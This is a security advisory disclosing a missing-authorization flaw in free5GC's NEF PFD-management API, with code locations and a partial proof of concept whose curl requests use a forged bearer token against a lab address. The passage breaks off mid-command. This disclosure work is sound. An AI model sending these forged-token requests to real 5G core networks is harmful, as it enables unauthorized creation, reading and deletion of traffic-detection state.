GitHub Security Advisory: GHSA-5f62-53r8-qrqf
Package: github.com/free5gc/nef (GO)
Severity: CRITICAL (CVSS 9.4)
CWE: CWE-862: Missing Authorization
Vulnerable versions: <= 1.2.3
Patched in: unpatched

Summary: free5GC's NEF 3gpp-pfd-management API is unauthenticated; forged bearer tokens can create, read, and delete PFD transactions

Details:
### Summary
free5GC's NEF mounts the `3gpp-pfd-management` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`). The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed.

### Details
Validated against the NEF container in the official Docker compose lab.
- Source repo tag: `v4.2.1`
- Running Docker image: `free5gc/nef:v4.2.0`
- Runtime NEF commit: `5ce35eab`
- Docker validation date: 2026-03-11

NEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-pfd-management` route group is mounted and reachable with no inbound auth middleware.

Code evidence (paths in `free5gc/nef`):
- Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:52`
- Transaction routes exposed at `/:scsAsID/transactions` and `/:scsAsID/transactions/:transID`: `NFs/nef/internal/sbi/api_pfd.go:13`
- Create handler still contains `// TODO: Authorize the AF`: `NFs/nef/internal/sbi/processor/pfd.go:70`
- POST allocates a new PFD transaction and writes to UDR: `NFs/nef/internal/sbi/processor/pfd.go:63`
- GET reads transaction state: `NFs/nef/internal/sbi/processor/pfd.go:189`
- DELETE removes transaction state: `NFs/nef/internal/sbi/processor/pfd.go:328`
- NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153`
- Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126`

### PoC
Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token.

1. Seed an AF context (also accepted with forged token):
```
curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"afServiceId":"svc-seed2","afAppId":"app-seed2","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.31 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-seed2","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions
```

2. CREATE PFD transaction with forged token -> `201 Created`:
```
curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"pfdDatas":{"app-poc-pfd2":{"externalAppId":"app-poc-pfd2","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://poc.example.com(/\\\\S*)?$"]}}}}}' \
  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions
```

3. READ -> `200 OK`:
```
curl -i -H 'Authorization: Bearer not-a-re